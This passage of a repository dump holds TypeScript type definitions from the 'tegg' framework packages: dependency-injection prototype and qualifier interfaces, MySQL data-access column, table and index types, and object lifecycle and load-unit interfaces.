/**\n   * EggPrototype implement type\n   */\n  protoImplType: string;\n\n  /**\n   * get object callback\n   * @param ctx\n   */\n  getObjects(ctx: MultiInstancePrototypeGetObjectsContext): ObjectInfo[] | Promise<ObjectInfo[]>;\n}\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/model/EggPrototypeInfo.ts",
    "content": "import { type ObjectInitTypeLike, AccessLevel } from '../enum/index.ts';\nimport { type QualifierInfo } from './QualifierInfo.ts';\n\nexport type EggProtoImplClass<T = object> = new (...args: any[]) => T;\nexport type EggPrototypeName = PropertyKey;\n\nexport interface EggPrototypeInfo {\n  /**\n   * egg object name\n   */\n  name: EggPrototypeName;\n  /**\n   * The class name of the object\n   */\n  className?: string;\n  /**\n   * obj init type\n   */\n  initType: ObjectInitTypeLike;\n  /**\n   * access level\n   */\n  accessLevel: AccessLevel;\n  /**\n   * EggPrototype implement type\n   */\n  protoImplType: string;\n  /**\n   * EggPrototype qualifiers\n   */\n  qualifiers?: QualifierInfo[];\n  /**\n   * EggPrototype properties qualifiers\n   */\n  properQualifiers?: Record<string, QualifierInfo[]>;\n}\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/model/InjectConstructorInfo.ts",
    "content": "import type { EggObjectName } from './InjectObjectInfo.ts';\n\nexport interface InjectConstructorInfo {\n  /**\n   * inject args index\n   */\n  refIndex: number;\n  /**\n   * inject args name\n   */\n  refName: string;\n  /**\n   * obj's name will be injected\n   */\n  objName: EggObjectName;\n  /**\n   * optional inject\n   */\n  optional?: boolean;\n}\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/model/InjectObjectInfo.ts",
    "content": "export type EggObjectName = PropertyKey;\n\nexport interface InjectObjectInfo {\n  /**\n   * property name obj inject to\n   */\n  refName: PropertyKey;\n  /**\n   * obj's name will be injected\n   */\n  objName: EggObjectName;\n  /**\n   * optional inject\n   */\n  optional?: boolean;\n}\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/model/QualifierInfo.ts",
    "content": "export type QualifierAttribute = symbol | string;\nexport type QualifierValue = string | number;\n\n/**\n * To locate prototype\n *\n * Example:\n * Has a decorator named HelloService\n * value is:\n * - Email\n * - Message\n *\n * interface HelloService {\n *   hello(name: string): Promise<void>;\n * }\n *\n * \\@ContextProto({ name: 'helloService' })\n * \\@HelloService(HelloServiceType.Email)\n * class EmailHelloService implement HelloService {\n *   ...\n * }\n *\n * \\@ContextProto({ name: 'helloService' })\n * \\@HelloService(HelloServiceType.Message)\n * class MessageHelloService implement HelloService {\n *   ...\n * }\n *\n * \\@ContextProto()\n * class HelloFacade {\n *   \\@Inject\n *   \\@HelloService(HelloServiceType.Message)\n *   helloService: HelloService;\n * }\n */\nexport interface QualifierInfo {\n  attribute: QualifierAttribute;\n  value: QualifierValue;\n}\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/model/index.ts",
    "content": "export * from './EggMultiInstancePrototypeInfo.ts';\nexport * from './EggPrototypeInfo.ts';\nexport * from './InjectConstructorInfo.ts';\nexport * from './InjectObjectInfo.ts';\nexport * from './QualifierInfo.ts';\n"
  },
  {
    "path": "tegg/core/types/src/dal/Qualifier.ts",
    "content": "export const DAL_COLUMN_INFO_MAP: symbol = Symbol.for('EggPrototype#dalColumnInfoMap');\nexport const DAL_COLUMN_TYPE_MAP: symbol = Symbol.for('EggPrototype#dalColumnTypeMap');\nexport const DAL_INDEX_LIST: symbol = Symbol.for('EggPrototype#dalIndexList');\nexport const DAL_IS_TABLE: symbol = Symbol.for('EggPrototype#dalIsTable');\nexport const DAL_TABLE_PARAMS: symbol = Symbol.for('EggPrototype#dalTableParams');\nexport const DAL_IS_DAO: symbol = Symbol.for('EggPrototype#dalIsDao');\n"
  },
  {
    "path": "tegg/core/types/src/dal/decorator/Column.ts",
    "content": "import type { ColumnFormat, ColumnType } from '../enum/index.ts';\n\nexport interface ColumnParams {\n  name?: string;\n  default?: string;\n  canNull?: boolean;\n  comment?: string;\n  visible?: boolean;\n  autoIncrement?: boolean;\n  uniqueKey?: boolean;\n  primaryKey?: boolean;\n  collate?: string;\n  columnFormat?: ColumnFormat;\n  engineAttribute?: string;\n  secondaryEngineAttribute?: string;\n}\n\nexport interface IColumnTypeParams {\n  type: ColumnType;\n}\n\nexport interface BitParams extends IColumnTypeParams {\n  type: typeof ColumnType.BIT;\n  length?: number;\n}\n\nexport interface BoolParams extends IColumnTypeParams {\n  type: typeof ColumnType.BOOL;\n}\n\ninterface BaseNumericParams extends IColumnTypeParams {\n  length?: number;\n  unsigned?: boolean;\n  zeroFill?: boolean;\n}\n\ninterface BaseFloatNumericParams extends IColumnTypeParams {\n  length?: number;\n  fractionalLength?: number;\n  unsigned?: boolean;\n  zeroFill?: boolean;\n}\n\nexport interface TinyIntParams extends BaseNumericParams {\n  type: typeof ColumnType.TINYINT;\n}\n\nexport interface SmallIntParams extends BaseNumericParams {\n  type: typeof ColumnType.SMALLINT;\n}\n\nexport interface MediumIntParams extends BaseNumericParams {\n  type: typeof ColumnType.MEDIUMINT;\n}\n\nexport interface IntParams extends BaseNumericParams {\n  type: typeof ColumnType.INT;\n}\n\nexport interface BigIntParams extends BaseNumericParams {\n  type: typeof ColumnType.BIGINT;\n}\n\nexport interface DecimalParams extends BaseFloatNumericParams {\n  type: typeof ColumnType.DECIMAL;\n}\n\nexport interface FloatParams extends BaseFloatNumericParams {\n  type: typeof ColumnType.FLOAT;\n}\n\nexport interface DoubleParams extends BaseFloatNumericParams {\n  type: typeof ColumnType.DOUBLE;\n}\n\nexport interface DateParams extends IColumnTypeParams {\n  type: typeof ColumnType.DATE;\n}\n\nexport interface DateTimeParams extends IColumnTypeParams {\n  type: typeof ColumnType.DATETIME;\n  precision?: number;\n  autoUpdate?: boolean;\n}\n\nexport interface TimestampParams extends IColumnTypeParams {\n  type: typeof ColumnType.TIMESTAMP;\n  precision?: number;\n  autoUpdate?: boolean;\n}\n\nexport interface TimeParams extends IColumnTypeParams {\n  type: typeof ColumnType.TIME;\n  precision?: number;\n}\n\nexport interface YearParams extends IColumnTypeParams {\n  type: typeof ColumnType.YEAR;\n}\n\nexport interface CharParams extends IColumnTypeParams {\n  type: typeof ColumnType.CHAR;\n  length?: number;\n  characterSet?: string;\n  collate?: string;\n}\n\nexport interface VarCharParams extends IColumnTypeParams {\n  type: typeof ColumnType.VARCHAR;\n  length: number;\n  characterSet?: string;\n  collate?: string;\n}\n\nexport interface BinaryParams extends IColumnTypeParams {\n  type: typeof ColumnType.BINARY;\n  length?: number;\n}\n\nexport interface VarBinaryParams extends IColumnTypeParams {\n  type: typeof ColumnType.VARBINARY;\n  length: number;\n}\n\nexport interface TinyBlobParams extends IColumnTypeParams {\n  type: typeof ColumnType.TINYBLOB;\n}\n\nexport interface TinyTextParams extends IColumnTypeParams {\n  type: typeof ColumnType.TINYTEXT;\n  characterSet?: string;\n  collate?: string;\n}\n\nexport interface BlobParams extends IColumnTypeParams {\n  type: typeof ColumnType.BLOB;\n  length?: number;\n}\n\nexport interface TextParams extends IColumnTypeParams {\n  type: typeof ColumnType.TEXT;\n  length?: number;\n  characterSet?: string;\n  collate?: string;\n}\n\nexport interface MediumBlobParams extends IColumnTypeParams {\n  type: typeof ColumnType.MEDIUMBLOB;\n}\n\nexport interface LongBlobParams extends IColumnTypeParams {\n  type: typeof ColumnType.LONGBLOB;\n}\n\nexport interface MediumTextParams extends IColumnTypeParams {\n  type: typeof ColumnType.MEDIUMTEXT;\n  characterSet?: string;\n  collate?: string;\n}\n\nexport interface LongTextParams extends IColumnTypeParams {\n  type: typeof ColumnType.LONGTEXT;\n  characterSet?: string;\n  collate?: string;\n}\n\nexport interface EnumParams extends IColumnTypeParams {\n  type: typeof ColumnType.ENUM;\n  enums: string[];\n  characterSet?: string;\n  collate?: string;\n}\n\nexport interface SetParams extends IColumnTypeParams {\n  type: typeof ColumnType.SET;\n  enums: string[];\n  characterSet?: string;\n  collate?: string;\n}\n\nexport interface JsonParams extends IColumnTypeParams {\n  type: typeof ColumnType.JSON;\n}\n\nexport interface BaseSpatialParams extends IColumnTypeParams {\n  SRID?: number;\n}\n\nexport interface GeometryParams extends BaseSpatialParams {\n  type: typeof ColumnType.GEOMETRY;\n}\n\nexport interface PointParams extends BaseSpatialParams {\n  type: typeof ColumnType.POINT;\n}\n\nexport interface LinestringParams extends BaseSpatialParams {\n  type: typeof ColumnType.LINESTRING;\n}\n\nexport interface PolygonParams extends BaseSpatialParams {\n  type: typeof ColumnType.POLYGON;\n}\n\nexport interface MultiPointParams extends BaseSpatialParams {\n  type: typeof ColumnType.MULTIPOINT;\n}\n\nexport interface MultiLinestringParams extends BaseSpatialParams {\n  type: typeof ColumnType.MULTILINESTRING;\n}\n\nexport interface MultiPolygonParams extends BaseSpatialParams {\n  type: typeof ColumnType.MULTIPOLYGON;\n}\n\nexport interface GeometryCollectionParams extends BaseSpatialParams {\n  type: typeof ColumnType.GEOMETRYCOLLECTION;\n}\n\nexport type ColumnTypeParams =\n  | BitParams\n  | BoolParams\n  | TinyIntParams\n  | SmallIntParams\n  | MediumIntParams\n  | IntParams\n  | BigIntParams\n  | DecimalParams\n  | FloatParams\n  | DoubleParams\n  | DateParams\n  | DateTimeParams\n  | TimestampParams\n  | TimeParams\n  | YearParams\n  | CharParams\n  | VarCharParams\n  | BinaryParams\n  | VarBinaryParams\n  | TinyBlobParams\n  | TinyTextParams\n  | BlobParams\n  | TextParams\n  | MediumBlobParams\n  | MediumTextParams\n  | LongBlobParams\n  | LongTextParams\n  | EnumParams\n  | SetParams\n  | JsonParams\n  | GeometryParams\n  | PointParams\n  | LinestringParams\n  | PolygonParams\n  | MultiPointParams\n  | MultiLinestringParams\n  | MultiPolygonParams\n  | GeometryCollectionParams;\n"
  },
  {
    "path": "tegg/core/types/src/dal/decorator/DataSourceQualifier.ts",
    "content": "export const DataSourceQualifierAttribute: symbol = Symbol('Qualifier.DataSource');\nexport const DataSourceInjectName = 'dataSource';\n"
  },
  {
    "path": "tegg/core/types/src/dal/decorator/Table.ts",
    "content": "// Create Table https://dev.mysql.com/doc/refman/8.0/en/create-table.html\nimport type { CompressionType, InsertMethod, RowFormat } from '../enum/index.ts';\n\nexport interface TableParams {\n  name?: string;\n  dataSourceName?: string;\n  comment?: string;\n  autoExtendSize?: number;\n  autoIncrement?: number;\n  avgRowLength?: number;\n  characterSet?: string;\n  collate?: string;\n  compression?: CompressionType;\n  encryption?: boolean;\n  engine?: string;\n  engineAttribute?: string;\n  insertMethod?: InsertMethod;\n  keyBlockSize?: number;\n  maxRows?: number;\n  minRows?: number;\n  rowFormat?: RowFormat;\n  secondaryEngineAttribute?: string;\n}\n"
  },
  {
    "path": "tegg/core/types/src/dal/decorator/index.ts",
    "content": "import type { IndexStoreType, IndexType } from '../enum/index.ts';\n\nexport interface IndexParams {\n  keys: string[];\n  name?: string;\n  type?: IndexType;\n  storeType?: IndexStoreType;\n  comment?: string;\n  engineAttribute?: string;\n  secondaryEngineAttribute?: string;\n  parser?: string;\n}\n\nexport * from './Column.ts';\nexport * from './DataSourceQualifier.ts';\nexport * from './Table.ts';\n"
  },
  {
    "path": "tegg/core/types/src/dal/enum/ColumnFormat.ts",
    "content": "export const ColumnFormat = {\n  FIXED: 'FIXED',\n  DYNAMIC: 'DYNAMIC',\n  DEFAULT: 'DEFAULT',\n} as const;\nexport type ColumnFormat = (typeof ColumnFormat)[keyof typeof ColumnFormat];\n"
  },
  {
    "path": "tegg/core/types/src/dal/enum/ColumnType.ts",
    "content": "// Data Types https://dev.mysql.com/doc/refman/8.0/en/data-types.html\nexport const ColumnType = {\n  // Numeric\n  BIT: 'BIT',\n  TINYINT: 'TINYINT',\n  BOOL: 'BOOL',\n  SMALLINT: 'SMALLINT',\n  MEDIUMINT: 'MEDIUMINT',\n  INT: 'INT',\n  BIGINT: 'BIGINT',\n  DECIMAL: 'DECIMAL',\n  FLOAT: 'FLOAT',\n  DOUBLE: 'DOUBLE',\n  // Date\n  DATE: 'DATE',\n  DATETIME: 'DATETIME',\n  TIMESTAMP: 'TIMESTAMP',\n  TIME: 'TIME',\n  YEAR: 'YEAR',\n  // String\n  CHAR: 'CHAR',\n  VARCHAR: 'VARCHAR',\n  BINARY: 'BINARY',\n  VARBINARY: 'VARBINARY',\n  TINYBLOB: 'TINYBLOB',\n  TINYTEXT: 'TINYTEXT',\n  BLOB: 'BLOB',\n  TEXT: 'TEXT',\n  MEDIUMBLOB: 'MEDIUMBLOB',\n  MEDIUMTEXT: 'MEDIUMTEXT',\n  LONGBLOB: 'LONGBLOB',\n  LONGTEXT: 'LONGTEXT',\n  ENUM: 'ENUM',\n  SET: 'SET',\n  // JSON\n  JSON: 'JSON',\n  // Spatial\n  GEOMETRY: 'GEOMETRY',\n  POINT: 'POINT',\n  LINESTRING: 'LINESTRING',\n  POLYGON: 'POLYGON',\n  MULTIPOINT: 'MULTIPOINT',\n  MULTILINESTRING: 'MULTILINESTRING',\n  MULTIPOLYGON: 'MULTIPOLYGON',\n  GEOMETRYCOLLECTION: 'GEOMETRYCOLLECTION',\n} as const;\nexport type ColumnType = (typeof ColumnType)[keyof typeof ColumnType];\n"
  },
  {
    "path": "tegg/core/types/src/dal/enum/CompressionType.ts",
    "content": "export const CompressionType = {\n  ZLIB: 'ZLIB',\n  LZ4: 'LZ4',\n  NONE: 'NONE',\n} as const;\nexport type CompressionType = (typeof CompressionType)[keyof typeof CompressionType];\n"
  },
  {
    "path": "tegg/core/types/src/dal/enum/IndexStoreType.ts",
    "content": "export const IndexStoreType = {\n  BTREE: 'BTREE',\n  HASH: 'HASH',\n} as const;\nexport type IndexStoreType = (typeof IndexStoreType)[keyof typeof IndexStoreType];\n"
  },
  {
    "path": "tegg/core/types/src/dal/enum/IndexType.ts",
    "content": "export const IndexType = {\n  PRIMARY: 'PRIMARY',\n  UNIQUE: 'UNIQUE',\n  INDEX: 'INDEX',\n  FULLTEXT: 'FULLTEXT',\n  SPATIAL: 'SPATIAL',\n} as const;\nexport type IndexType = (typeof IndexType)[keyof typeof IndexType];\n"
  },
  {
    "path": "tegg/core/types/src/dal/enum/InsertMethod.ts",
    "content": "export const InsertMethod = {\n  NO: 'NO',\n  FIRST: 'FIRST',\n  LAST: 'LAST',\n} as const;\nexport type InsertMethod = (typeof InsertMethod)[keyof typeof InsertMethod];\n"
  },
  {
    "path": "tegg/core/types/src/dal/enum/RowFormat.ts",
    "content": "export const RowFormat = {\n  DEFAULT: 'DEFAULT',\n  DYNAMIC: 'DYNAMIC',\n  FIXED: 'FIXED',\n  COMPRESSED: 'COMPRESSED',\n  REDUNDANT: 'REDUNDANT',\n  COMPACT: 'COMPACT',\n} as const;\nexport type RowFormat = (typeof RowFormat)[keyof typeof RowFormat];\n"
  },
  {
    "path": "tegg/core/types/src/dal/enum/SqlType.ts",
    "content": "export const SqlType = {\n  BLOCK: 'BLOCK',\n  INSERT: 'INSERT',\n  SELECT: 'SELECT',\n  UPDATE: 'UPDATE',\n  DELETE: 'DELETE',\n} as const;\nexport type SqlType = (typeof SqlType)[keyof typeof SqlType];\n"
  },
  {
    "path": "tegg/core/types/src/dal/enum/Templates.ts",
    "content": "export const Templates = {\n  BASE_DAO: 'base_dao',\n  DAO: 'dao',\n  EXTENSION: 'extension',\n} as const;\nexport type Templates = (typeof Templates)[keyof typeof Templates];\n"
  },
  {
    "path": "tegg/core/types/src/dal/enum/index.ts",
    "content": "export * from './ColumnFormat.ts';\nexport * from './ColumnType.ts';\nexport * from './CompressionType.ts';\nexport * from './IndexStoreType.ts';\nexport * from './IndexType.ts';\nexport * from './InsertMethod.ts';\nexport * from './RowFormat.ts';\nexport * from './SqlType.ts';\nexport * from './Templates.ts';\n"
  },
  {
    "path": "tegg/core/types/src/dal/index.ts",
    "content": "export * from './enum/index.ts';\nexport * from './type/index.ts';\nexport * from './decorator/index.ts';\nexport * from './Qualifier.ts';\n"
  },
  {
    "path": "tegg/core/types/src/dal/type/BaseDao.ts",
    "content": "import type { EggProtoImplClass } from '../../core-decorator/index.ts';\nimport type { SqlMap } from './SqlMap.ts';\n\nexport interface BaseDaoType {\n  new (...args: any[]): object;\n  clazzModel: EggProtoImplClass<object>;\n  clazzExtension: Record<string, SqlMap>;\n  // todo: typed structure\n  tableStature: object;\n  tableSql: string;\n}\n"
  },
  {
    "path": "tegg/core/types/src/dal/type/CodeGenerator.ts",
    "content": "export interface CodeGeneratorOptions {\n  moduleDir: string;\n  moduleName: string;\n  teggPkg?: string;\n  dalPkg?: string;\n}\n"
  },
  {
    "path": "tegg/core/types/src/dal/type/ColumnTsType.ts",
    "content": "import type {\n  Geometry,\n  GeometryCollection,\n  Line,\n  MultiLine,\n  MultiPoint,\n  MultiPolygon,\n  Point,\n  Polygon,\n} from './Spatial.ts';\n\nexport interface ColumnTsType {\n  BIT: Buffer;\n  TINYINT: number;\n  BOOL: 0 | 1;\n  SMALLINT: number;\n  MEDIUMINT: number;\n  INT: number;\n  BIGINT: string;\n  DECIMAL: string;\n  FLOAT: number;\n  DOUBLE: number;\n  DATE: Date;\n  DATETIME: Date;\n  TIMESTAMP: Date;\n  TIME: string;\n  YEAR: number;\n  CHAR: string;\n  VARCHAR: string;\n  BINARY: Buffer;\n  VARBINARY: Buffer;\n  TINYBLOB: Buffer;\n  TINYTEXT: string;\n  BLOB: Buffer;\n  TEXT: string;\n  MEDIUMBLOB: Buffer;\n  MEDIUMTEXT: string;\n  LONGBLOB: Buffer;\n  LONGTEXT: string;\n  ENUM: string;\n  SET: string;\n  JSON: object;\n  GEOMETRY: Geometry;\n  POINT: Point;\n  LINESTRING: Line;\n  POLYGON: Polygon;\n  MULTIPOINT: MultiPoint;\n  MULTILINESTRING: MultiLine;\n  MULTIPOLYGON: MultiPolygon;\n  GEOMETRYCOLLECTION: GeometryCollection;\n}\n"
  },
  {
    "path": "tegg/core/types/src/dal/type/DateSource.ts",
    "content": "export interface PaginateData<T> {\n  total: number;\n  pageNum: number;\n  rows: Array<T>;\n}\n\nexport interface DataSource<T> {\n  execute(sqlName: string, data?: any): Promise<Array<T>>;\n  executeScalar(sqlName: string, data?: any): Promise<T | null>;\n  executeRaw(sqlName: string, data?: any): Promise<Array<any>>;\n  executeRawScalar(sqlName: string, data?: any): Promise<any | null>;\n  paginate(sqlName: string, data: any, currentPage: number, perPageCount: number): Promise<PaginateData<T>>;\n  count(sqlName: string, data?: any): Promise<number>;\n}\n"
  },
  {
    "path": "tegg/core/types/src/dal/type/Spatial.ts",
    "content": "export interface Point {\n  x: number;\n  y: number;\n}\n\nexport type Line = Array<Point>;\nexport type Polygon = Array<Line>;\nexport type Geometry = Point | Line | Polygon;\n\nexport type MultiPoint = Array<Point>;\nexport type MultiLine = Array<Line>;\nexport type MultiPolygon = Array<Polygon>;\nexport type GeometryCollection = Array<Point | Line | Polygon>;\n"
  },
  {
    "path": "tegg/core/types/src/dal/type/SqlMap.ts",
    "content": "import type { SqlType } from '../enum/index.ts';\n\nexport interface BaseSqlMap {\n  type?: SqlType;\n}\n\nexport interface FullSqlMap extends BaseSqlMap {\n  type: typeof SqlType.DELETE | typeof SqlType.INSERT | typeof SqlType.UPDATE | typeof SqlType.SELECT;\n  sql: string;\n}\n\nexport interface BlockSqlMap extends BaseSqlMap {\n  type: typeof SqlType.BLOCK;\n  content: string;\n}\n\nexport type SqlMap = FullSqlMap | BlockSqlMap;\n\nexport interface GenerateSqlMap {\n  name: string;\n  type: typeof SqlType.DELETE | typeof SqlType.UPDATE | typeof SqlType.INSERT | typeof SqlType.SELECT;\n  sql: string;\n}\n"
  },
  {
    "path": "tegg/core/types/src/dal/type/index.ts",
    "content": "export * from './BaseDao.ts';\nexport * from './CodeGenerator.ts';\nexport * from './ColumnTsType.ts';\nexport * from './DateSource.ts';\nexport * from './Spatial.ts';\nexport * from './SqlMap.ts';\n"
  },
  {
    "path": "tegg/core/types/src/dynamic-inject.ts",
    "content": "import type { EggProtoImplClass, QualifierValue } from './core-decorator/index.ts';\n\nexport type EggAbstractClazz<T extends object = object> = Function & {\n  prototype: T;\n};\nexport type ImplTypeEnum = {\n  [id: string]: QualifierValue;\n};\n\nexport type ImplDecorator<T extends object, Enum extends ImplTypeEnum> = (\n  type: Enum[keyof Enum],\n) => (clazz: EggProtoImplClass<T>) => void;\n\nexport interface EggObjectFactory {\n  getEggObject<T extends object>(abstractClazz: EggAbstractClazz<T>, qualifierValue: QualifierValue): Promise<T>;\n  getEggObjects<T extends object>(abstractClazz: EggAbstractClazz<T>): Promise<AsyncIterable<T>>;\n}\n\nexport const QUALIFIER_IMPL_MAP: symbol = Symbol.for('EggPrototype#qualifierImplMap');\n"
  },
  {
    "path": "tegg/core/types/src/index.ts",
    "content": "export * from './aop/index.ts';\nexport * from './common/index.ts';\nexport * from './controller-decorator/index.ts';\nexport * from './core-decorator/index.ts';\nexport * from './dal/index.ts';\nexport * from './dynamic-inject.ts';\nexport * from './lifecycle/index.ts';\nexport * from './metadata/index.ts';\nexport * from './orm.ts';\nexport * from './runtime/index.ts';\nexport * from './schedule.ts';\nexport * from './transaction.ts';\nexport * from './agent-runtime/index.ts';\n"
  },
  {
    "path": "tegg/core/types/src/lifecycle/EggObjectLifecycle.ts",
    "content": "import type { EggObject, EggObjectLifeCycleContext } from '../runtime/index.ts';\n\n/**\n * lifecycle hook interface for egg object\n */\nexport interface EggObjectLifecycle {\n  /**\n   * call before project load\n   */\n  preLoad?(ctx: EggObjectLifeCycleContext): Promise<void>;\n  /**\n   * call after construct\n   */\n  postConstruct?(ctx: EggObjectLifeCycleContext, eggObj: EggObject): Promise<void>;\n\n  /**\n   * call before inject deps\n   */\n  preInject?(ctx: EggObjectLifeCycleContext, eggObj: EggObject): Promise<void>;\n\n  /**\n   * call after inject deps\n   */\n  postInject?(ctx: EggObjectLifeCycleContext, eggObj: EggObject): Promise<void>;\n\n  /**\n   * before object is ready\n   */\n  init?(ctx: EggObjectLifeCycleContext, eggObj: EggObject): Promise<void>;\n\n  /**\n   * call before destroy\n   */\n  preDestroy?(ctx: EggObjectLifeCycleContext, eggObj: EggObject): Promise<void>;\n\n  /**\n   * destroy the object\n   */\n  destroy?(ctx: EggObjectLifeCycleContext, eggObj: EggObject): Promise<void>;\n}\n\nexport type LifecycleHookName = keyof EggObjectLifecycle;\n"
  },
  {
    "path": "tegg/core/types/src/lifecycle/IdenticalObject.ts",
    "content": "export type Id = string;\n\nexport interface IdenticalObject {\n  id: Id;\n}\n"
  },
  {
    "path": "tegg/core/types/src/lifecycle/LifecycleHook.ts",
    "content": "import type { IdenticalObject } from './IdenticalObject.ts';\n\nexport interface LifecycleContext {}\n\nexport interface LifecycleObject<T extends LifecycleContext> extends IdenticalObject {\n  preLoad?(): Promise<void>;\n  init?(ctx: T): Promise<void>;\n  destroy?(ctx: T): Promise<void>;\n}\n\nexport interface LifecycleHook<T extends LifecycleContext, R extends LifecycleObject<T>> {\n  // called after obj constructor\n  preCreate?(ctx: T, obj: R): Promise<void>;\n  // called after all preCreate done and properties injected\n  postCreate?(ctx: T, obj: R): Promise<void>;\n  // call before destroy obj\n  preDestroy?(ctx: T, obj: R): Promise<void>;\n}\n"
  },
  {
    "path": "tegg/core/types/src/lifecycle/index.ts",
    "content": "export * from './EggObjectLifecycle.ts';\nexport * from './IdenticalObject.ts';\nexport * from './LifecycleHook.ts';\n"
  },
  {
    "path": "tegg/core/types/src/metadata/enum/ProtoDescriptorType.ts",
    "content": "export const ProtoDescriptorType = {\n  CLASS: 'CLASS',\n} as const;\nexport type ProtoDescriptorType = (typeof ProtoDescriptorType)[keyof typeof ProtoDescriptorType];\n"
  },
  {
    "path": "tegg/core/types/src/metadata/enum/index.ts",
    "content": "export * from './ProtoDescriptorType.ts';\n"
  },
  {
    "path": "tegg/core/types/src/metadata/errors.ts",
    "content": "export const ErrorCodes = {\n  EGG_PROTO_NOT_FOUND: 'EGG_PROTO_NOT_FOUND',\n  MULTI_PROTO_FOUND: 'MULTI_PROTO_FOUND',\n  INCOMPATIBLE_PROTO_INJECT: 'INCOMPATIBLE_PROTO_INJECT',\n} as const;\nexport type ErrorCodes = (typeof ErrorCodes)[keyof typeof ErrorCodes];\n"
  },
  {
    "path": "tegg/core/types/src/metadata/index.ts",
    "content": "export * from './errors.ts';\nexport * from './model/index.ts';\nexport * from './enum/index.ts';\n"
  },
  {
    "path": "tegg/core/types/src/metadata/model/EggPrototype.ts",
    "content": "import {\n  AccessLevel,\n  type EggProtoImplClass,\n  type EggPrototypeInfo,\n  type EggPrototypeName,\n  InjectType,\n  type MetaDataKey,\n  type ObjectInitTypeLike,\n  type QualifierAttribute,\n  type QualifierInfo,\n  type QualifierValue,\n} from '../../core-decorator/index.ts';\nimport { type LifecycleContext, type LifecycleObject } from '../../lifecycle/index.ts';\nimport { type LoadUnit } from './LoadUnit.ts';\n\nexport interface InjectObjectProto {\n  /**\n   * property name obj inject to\n   */\n  refName: PropertyKey;\n  /**\n   * obj's name will be injected\n   */\n  objName: PropertyKey;\n  /**\n   * inject qualifiers\n   */\n  qualifiers: QualifierInfo[];\n  /**\n   * optional inject\n   */\n  optional?: boolean;\n  /**\n   * inject prototype\n   */\n  proto: EggPrototype;\n}\n\nexport interface InjectConstructorProto {\n  /**\n   * inject args index\n   */\n  refIndex: number;\n  /**\n   * property name obj inject to\n   */\n  refName: PropertyKey;\n  /**\n   * obj's name will be injected\n   */\n  objName: PropertyKey;\n  /**\n   * inject qualifiers\n   */\n  qualifiers: QualifierInfo[];\n  /**\n   * optional inject\n   */\n  optional?: boolean;\n  /**\n   * inject prototype\n   */\n  proto: EggPrototype;\n}\n\nexport interface InjectObject {\n  /**\n   * property name obj inject to\n   */\n  refName: PropertyKey;\n  /**\n   * obj's name will be injected\n   */\n  objName: PropertyKey;\n  /**\n   * obj's initType will be injected\n   * if null same as current obj\n   */\n  initType?: ObjectInitTypeLike;\n  /**\n   * optional inject\n   */\n  optional?: boolean;\n}\n\nexport interface InjectConstructor {\n  /**\n   * property name obj inject to\n   */\n  refIndex: number;\n  /**\n   * property name obj inject to\n   */\n  refName: PropertyKey;\n  /**\n   * obj's name will be injected\n   */\n  objName: PropertyKey;\n  /**\n   * obj's initType will be injected\n   * if null same as current obj\n   */\n  initType?: ObjectInitTypeLike;\n  /**\n   * optional inject\n   */\n  optional?: boolean;\n}\n\nexport type EggPrototypeClass = new (...args: any[]) => EggPrototype;\n\nexport interface EggPrototypeLifecycleContext extends LifecycleContext {\n  clazz: EggProtoImplClass;\n  prototypeInfo: EggPrototypeInfo;\n  loadUnit: LoadUnit;\n}\n\nexport interface EggPrototype extends LifecycleObject<EggPrototypeLifecycleContext> {\n  [key: symbol]: PropertyDescriptor;\n\n  // TODO\n  // 1. proto name\n  // 1. default obj name\n  readonly name: EggPrototypeName;\n  readonly initType: ObjectInitTypeLike;\n  readonly accessLevel: AccessLevel;\n  readonly loadUnitId: string;\n  readonly injectObjects: Array<InjectObjectProto | InjectConstructorProto>;\n  readonly injectType?: InjectType;\n  readonly className?: string;\n  readonly multiInstanceConstructorIndex?: number;\n  readonly multiInstanceConstructorAttributes?: QualifierAttribute[];\n\n  /**\n   * get metadata for key\n   * @param {MetaDataKey} metadataKey\n   */\n  getMetaData<T>(metadataKey: MetaDataKey): T | undefined;\n\n  /**\n   * verify proto is satisfied with qualifier\n   *\n   * default qualifier:\n   * - load unit name\n   * - init type\n   *\n   * @param qualifier\n   */\n  verifyQualifier(qualifier: QualifierInfo): boolean;\n  verifyQualifiers(qualifiers: QualifierInfo[]): boolean;\n  getQualifier(attribute: QualifierAttribute): QualifierValue | undefined;\n\n  /**\n   * construct egg object, not trigger lifecycle method/hook\n   */\n  constructEggObject(...args: any): object;\n}\n\nexport interface EggPrototypeWithClazz extends EggPrototype {\n  clazz?: EggProtoImplClass;\n}\n\nexport type EggPrototypeCreator = (ctx: EggPrototypeLifecycleContext) => EggPrototype;\n"
  },
  {
    "path": "tegg/core/types/src/metadata/model/LoadUnit.ts",
    "content": "import type { EggPrototypeName, QualifierInfo } from '../../core-decorator/index.ts';\nimport type { LifecycleContext, LifecycleObject } from '../../lifecycle/index.ts';\nimport type { EggPrototype } from './EggPrototype.ts';\nimport type { Loader } from './Loader.ts';\n\nexport const EggLoadUnitType = {\n  MODULE: 'MODULE',\n  PLUGIN: 'PLUGIN',\n  APP: 'APP',\n} as const;\nexport type EggLoadUnitType = (typeof EggLoadUnitType)[keyof typeof EggLoadUnitType];\n\nexport type EggLoadUnitTypeLike = EggLoadUnitType | string;\n\nexport interface LoadUnitLifecycleContext extends LifecycleContext {\n  unitPath: string;\n  loader: Loader;\n}\n\nexport interface LoadUnit extends LifecycleObject<LoadUnitLifecycleContext> {\n  readonly name: string;\n  readonly unitPath: string;\n  readonly type: EggLoadUnitTypeLike;\n\n  iterateEggPrototype(): IterableIterator<EggPrototype>;\n  registerEggPrototype(proto: EggPrototype): void;\n  deletePrototype(proto: EggPrototype): void;\n  getEggPrototype(name: EggPrototypeName, qualifiers: QualifierInfo[]): EggPrototype[];\n  containPrototype(proto: EggPrototype): boolean;\n}\n\nexport interface LoadUnitPair {\n  loadUnit: LoadUnit;\n  ctx: LoadUnitLifecycleContext;\n}\n\nexport type LoadUnitCreator = (ctx: LoadUnitLifecycleContext) => LoadUnit | Promise<LoadUnit>;\n"
  },
  {
    "path": "tegg/core/types/src/metadata/model/Loader.ts",
    "content": "import type { EggProtoImplClass } from '../../core-decorator/index.ts';\n\n/**\n * Loader to load class list in module\n */\nexport interface Loader {\n  load(): Promise<EggProtoImplClass[]>;\n  // TODO impl loadProto\n  // loadProto(): ProtoDescriptor[];\n}\n"
  },
  {
    "path": "tegg/core/types/src/metadata/model/ProtoDescriptor.ts",
